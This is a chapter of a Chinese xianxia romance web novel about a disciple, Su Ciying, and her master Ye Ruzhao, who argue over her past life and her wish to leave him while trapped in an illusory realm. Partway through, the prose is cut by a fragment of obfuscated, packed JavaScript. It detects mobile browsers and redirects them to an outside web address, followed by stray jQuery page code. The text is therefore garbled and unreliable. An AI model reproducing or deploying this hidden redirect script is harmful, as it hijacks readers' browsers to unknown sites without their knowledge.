“同心”秘境里皆是幻觉。
但苏辞影的感受却是真实的,譬如她无法压制自己内心的恐慌,已是不打算跟着宫人去拜访孟子樊了,当看见阵法的一刹那,她就立马拔足狂奔了。
一路上,苏辞影感受着裙摆在小腿间摇晃着,随着视野不断地颤动,心神也在不断地颤动。她依循记忆朝宫外奔去,裙裾在慌乱的步伐间翻飞,心中反复撕扯着同一个问题。
该不该见他?还是能不能逃开?
双极宫里很少有阳光明媚的时候,即使现在像是春天似的,有许多盛开的桃花树,展现出柔美的色泽,但天地之间,包括她的视野之间,由于阴沉沉的天色,万物都蒙上了一层阴霾。
随着意识海里的牵扯感越来越重,她也知道他赶到了附近,等到再穿过一个水榭,就在某个阁楼的前面撞见了他。
苏辞影察觉到,叶如照最开始看到她的时候,眼底翻涌着忧虑与难安,甚至压抑着一丝愠色。
但下一瞬,所有情绪都被强行收敛去了,只余下一种近乎审视的平静。
他如今穿着一身雪白的衣裳,毫无纹绣,唯有腰间一条耀金色束带颇为夺目。只是在这黯淡的天幕下,那抹亮色也显得孤寂,连带着他的神色与身姿,都敛去了曾令她胆战心惊的锋芒。
“不是叫你待在轿子里么?”他说着,又看向她腰间的白虹,从发梢到足尖都扫过一遍,“你很喜欢乱跑,对不对?”
“我只是来看看……有没有什么出秘境的方法。”苏辞影知道,叶如照不会相信她这个托词,但她仍然把话说完了,“而且,当时轿子突然崩塌了,如果师尊回去,就能看见的。”
一阵有点发冷的风,吹动了叶如照宽大的衣袂。
他凝视着她的脸,尽管她多次提示双极宫的不对劲,地面上好像有阵法,而且阵法已经启动了,他仍然要在此时此刻和她决断。
叶如照像是什么都知道了似的,问了她一个问题:“尽管我早知你要离开,但这日来临之时,我仍然觉得诧异,我始终认为你会后悔,这不是来自于你给我的反应,这就是一场直觉。”
“我仍然不明白,当年我为什么会输给孟霁,我现下又哪里做得不够尽善尽美,竟然让你一而再、再而三的反悔?”
“我们能别说这些了吗?!”苏辞影如今可是心急如焚了,“阵法快要启动了啊!”
而然,尽管双极宫内出现了诡异的阵法,远处仍然传来了凄美的古琴曲,那些桃花瓣簌簌飘落在地面,飘落在叶如照的发梢、肩头、还有衣裳上。
那些淡粉红的花瓣,就像他身上无法消磨的疤痕。
“这个阵法是传送阵,只是布置阵法的人应该是孟霁,恐怕把全宫的人传送而去,根据我对阵法的研究,阵法不会启动这么快。”
苏辞影听见叶如照这样说,心里才勉强松下一口气。
但孟霁为何要设置阵法,为何要将全宫的人传送到一个地方?
当她询问叶如照的时候,他却摇了摇头:“我亦不知晓,我并不精通阵法,你知道双极宫极为宽阔,基本上各个关口的阵法都出自他手,而且,双极宫里大能亦是不少,如果要将人全部传送,是需要长时间的布置。”
“那是多长时间呢?”
“就算是阵法天才,亦需要将近十几年的布置?因这是心魔秘境,先前我是没有经历过双极宫阵法一事的,但我知道双极宫这场盛大的阵法出现过……具体发生了什么,却并不明了。”
叶如照简单地解释过后,用手拨开了旁边的桃花枝,缓步走到她身边:“你应该对我解释,你是怎么又过来双极宫的。”
“你又不打算听我的话了,对么?”
苏辞影认为,现在自己怎么解释都没什么效果,他已经陷入了情感的漩涡里,跟叶如照说一万遍阵法的事情,如今的双极宫是危险的,皆是没有用的。
而且她一直这样伪装下去,肯定是精疲力尽,肯定是漏洞百出。所以她索性不再掩饰,没有回答叶如照的话,也就是默认了他的说法。
就算叶如照因情要杀了她,自己也只能接受了。
但叶如照的眼睫止不住地颤索着,只是低声说,“……如果,你还准备要宣告我的失败,请你告诉我原因。”
苏辞影知道,此刻任何关于阵法、关于双极宫里很危险的言语,都已是对叶如照无用了。他显然在自己的那些追问里,执拗地寻求一个答案。
但苏辞影那些所谓的解释,不过是徒劳。她甚至怀疑,像他这样坦白的人,下一瞬就会不自知地落下泪。
那不是属于年少时的激烈的心绪,而是时过境迁之后,不得不面对事实的无奈。也正是这种无奈,才最让人觉得迷茫和不得已。
“左右我一生的光阴之中,我这一千二百年的岁月里,居然要等待你九百年……”叶如照的眉眼竟有些迷惘,“而我,又要怎么去面对我的再一次失败。”
“不,你不要说你在等我,”事到如今,苏辞影只能与他坦白,只能告诉他她所有的真实想法,“我认可你的感情,师尊,但像你说的,如果我是转世重生的人,那我和自己的前世,也不是同一个人。”
她仰头看向叶如照有些惊愕的脸。
“师尊在意的,究竟是我曾经的痕迹。而我今生今世的记忆和经历,才是构成了我的人生,我不会使用白虹,就像它挂在我的腰间,永远是装饰。”
“对你有恩的,是我的曾经,和我完全不相干的人生,”说到这里,苏辞影又回想起她和他这一生的情感纠葛,看着那些不能回到枝头的落花,她给出了最后的决断,“请你原谅……我不能再爱你。”
“嗯,”叶如照笑了一下,是有些惨淡的笑容:“这就是你反悔的理由么?我愿不相信。”
“如果师尊还要我给出解释……大概就是,除去我不能接受前世、今生是同一个人这一说,还有,就是师尊跟我想象的不一样吧。”
面对此话,叶如照如今的神色,怎么看都有些哀婉的意味。他像是被焚烧过后,人生只留下一地冷寂的灰烬:“你说的没错,就像我从来没想过,你会对我说谎,为了离开我,你甚至愿意说爱我。”
他说到这里,一向平缓的语调,骤然锐利起来:“是的,你没有办法体谅我的感受,就像我无法真正明白你的决定。你觉得我又该怎么面对,贯穿了千年光阴的跨度之中,作为我师姐、女儿、徒弟、挚爱的离去?扮作了我人生重要身份的你,最后要跟我一刀两断。”
听见他这样说,苏辞影的内心下意识有点不适。
“我知道,师尊为了寻找我前世的死因,不得不承受绝嗣之伤。”苏辞影顿了顿,斟酌了一下话语,“可是,你不能把那些遗憾,以至于移情在我身上。尽管从你的话语里面,我知道你有把我当做独立的人来抚养,你也确实是这样做的,但——我不是任何你心里的影子。”
这些话尽数落下之时,苏辞影被叶如照猝不及防地抱住了。她的全身都有点僵硬,可是他用的力气特别重,让她怎么都挣脱不开,只能被叶如照紧紧箍在怀里。
她亦只能顺着他的力气,任由他在自己身体上,获得一点微不足道的暖意。
她看不见叶如照的神色,但是从他竭力控制的语调里,她能感受到他内心的凄迷:“如果你能骗我一辈子就好,如果我真的能狠下心,不再对你怀有怜爱,我的一生不会有任何痛苦。”
“其实我有时候真想杀了你,”叶如照说着,抱着她的手臂都在痉挛,那是极度不稳定心绪下的反应,“到现在,最伤我的话,仍然是你能说出来。”
等到他放开她的时候,她看见他眼底泛起的一层亮丽的水光,可是他的神色是平淡的。
就在苏辞影有些怅然若失的情况下,她看见叶如照突然展露出了很淡的笑容。
但在此情此景下,她只觉得心头一凛。
“苏辞影,曾经你为了明白我的心,让我对天起誓,来证明我到底心底有没有你的前世。”他的目光紧紧锁在她身上:“我如今给你一个选择,只要你敢对天起誓,说今生今世不再对我有情,我也可以向你承诺,绝对会给你想要的自由。”
“……你疯了吗?!”
风似乎静止了,分明是白日,视野里的一切却浸透了孤寂与凄凉。
苏辞影说出那句话时,声音里已满是崩溃。
直到如今,叶如照不敢对她的“前世”发誓,苏辞影竟亦不敢以他的姓名立誓。
她确实看不清自己的心,但她可以不顾一切地转身,抛开前尘旧梦,去追她所以为的快乐人生。
可叶如照做不到。他爱得始终比她多,这是板上钉钉的事实,叶如照无法接受她的离去。
“……我不可能对你发誓的。”
苏辞影攥紧手心,将惊骇死死压回心底。待她收拾好情绪,重新抬起头,看见的却是叶如照面无波澜的脸。
只是那张脸上,还留着未干的泪痕。
他并没有掩饰自己的伤怀。
事到如今,苏辞影再没心情管脚下的阵法了,她好像跟叶如照只有两败俱伤的未来,无法挽回、无法收场的惨剧。
“你不敢发誓吗?”叶如照看见她的态度,并没有露出什么喜悦激动的模样,反而有些疲倦,“那你为何如此待我呢?”
“……”
苏辞影亦不曾料到,叶如照洞察人心的天赋极强,哪怕她已呕心沥血地伪装、勉强自己,一遍遍说服这一切都该结束,说服自己对他早已毫无感情。
然而,终究有一丝一缕的破绽,漏在了他的目光里。
叶如照无法说他对她的“前世”毫无感情,苏辞影无法对他说,她今生今世对他毫无感情。
因为她在天玑门里,可是他实打实的徒弟,是他亲手抚养成人的,怎么能真正断绝这十六年的记忆?
可是她一旦对他有情,她到底要经受什么样子的未来?无论知不知晓前世今生这一件事,在世人眼里,叶如照这种行为就是惊世骇俗,是他无法洗脱的、难以界定的悖德。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141943|192132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>毕竟她的今生今世,是一个全新的生命,可以说是一张空白的纸张,任由他随意涂抹。
苏辞影不由将指甲深深掐进掌心,用疼痛逼自己维持最后的冷静,勉强开口道:“师尊对我有恩情……我无法就此立誓。”
“你还要说这些借口。”
“不,我没有找什么借口,如果我真的要找借口,我可以随便拒绝你的要求。”说到这里,她咬紧牙关,迎着叶如照有些轻蔑的目光说,“我不愿意……一辈子活在你的要求之下。”
“你何时遵守过我的要求?是我过于纵容你的一生,如果我当年再狠下心来,或许我跟你就不会走到今日。”
叶如照说完,跟往常一样朝前面徐步行去。他总是那么的笃定,觉得苏辞影一直会跟随他的步子,跟他一起走向未知的前路,可是她再也不愿意了。
那些凋零、衰败的桃花,在早春的季节里簌簌地飘落着,有些在空中打着转,但最后还是不会更改原本的结局,全部飘落在地。
原来也是像她当年对他有情的那段时间,都是早春。
然而,在这个华丽、危机四伏的古城邦之中,她与叶如照都要经历相恋的意义,如果这场阵法带来的是死亡,那么二人也要以死相证决心。
等到叶如照发现她没有跟上来,回眸看向她的时候,他唇瓣动了动,半晌才开口道:“……你既然没办法彻底放下我,为何不能真正接受我?”
“师尊,你既然无法磨灭我曾经的身影,就不要对我说这些话了。”
“是的,”叶如照和她隔的有点距离了,他笑着说,“一切恩爱会,无故难长久。我自然是可以理解你,但我这一生是无法释怀的。”
他这句话一出来,苏辞影忍不住跟她小时候一样痛哭出声,直到泪痕纵错。
这是她人生中最狼狈的一次流泪。
如果这是一场宿命的戏弄,她想要他肯定的告诉她,他爱的就是她的今生今世,完全磨灭掉她前世的身影,这样才是对她如今记忆、经历的肯定。
但她发现她做不到。
当她看向他的身影,她发现叶如照又露出了那种怜悯的神色,这种神色让她觉得极为不适。
“你当年也是这样欺骗我,为了让我带你离开双极宫,你宁愿说你爱我。”
“你不要再说了!”苏辞影胡乱地抹了一把眼泪,“你明明知道我不喜欢,你不希望你把我的前世当做一个人,你还非要这样对待我。”
“……苏辞影,这是一场无法说清,无法证明的感情,我到底对你如何,你心中亦清楚,你要我把你们分开来看,你难道否定了我先前所做的一切?”
“那你是不是看着我,经常想着我的前世呢?”
如今所发生的一切事情,都无法转圜了。
但叶如照并没有放手的打算,他直接忽略了她这个问题,继而话锋一转:“那就再也不说这事,可以么?我已经找到了秘境的中心,只要再给我一点时间,也不用去破解什么心魔,我们就能出秘境了。”
可是苏辞影听见他这样说,哭得更加崩溃了,她几乎要把她这一生的悲惨都哭出来。
叶如照改变了她今世所有的人生路线,或许没有他,她二十多岁的时候也只是个凡人,遭受小国的战火纷飞之后,一辈子在凡间流浪。
可是有了叶如照的干预,她被迫拜入天玑门,在那个满是剑修的宗门里,遭受无穷无尽的歧视与鄙夷,因为今生今世的自己,根本没有什么剑骨,也没有修剑上得天独厚的天赋。
这一场爱恨淋漓的交织,恩情与仇怨的交错,她该怎么去释怀,她又该怎么去遗忘,叶如照带给她的一切喜怒哀怨。
苏辞影感觉自己全身都在发冷,但这分明是不正常的反应。
如果琼漪只是一个跟她毫无关联的人,叶如照曾经的师姐,真正难以忘怀的旧爱,那么她可以毫无心理负担的离开,当做人生的一个污点,甚至对他感觉到厌恶。
可是这是一场前世今生,她不是任何人的替身,她只是她自己曾经的替代。
但苏辞影也再也回不到自己的曾经。她不能成为叶如照心里的那个人,那个惊才绝艳的剑修,白虹剑真正的主人,凌驾众生的双极主人之一。
可能是她停留在这里的时间太久了,久到有些奇怪了,前面的叶如照犹豫着,像是想走到她身边。
但他明显是抑制住了这种冲动。
她与叶如照四目相对的时候,看见他一些乌黑的发丝浮动着,漆黑的眼珠像是一汪冷水。他沉默地等待着,如同在等待一场早已注定的决断。
“不管你怎么想,现在是不是要跟着我离开双极宫?”
无可奈何花落去,似曾相识燕归来。
苏辞终于挪动了仿佛灌铅的双足。
她只能随着这一路的落花,艰难地迈动自己的步伐,而长风吹动她的衣袖的时候,传来“哗啦”的声响,显得极为空落落的。
当她再次注视着叶如照的背影,只觉得再不能让自己伤怀。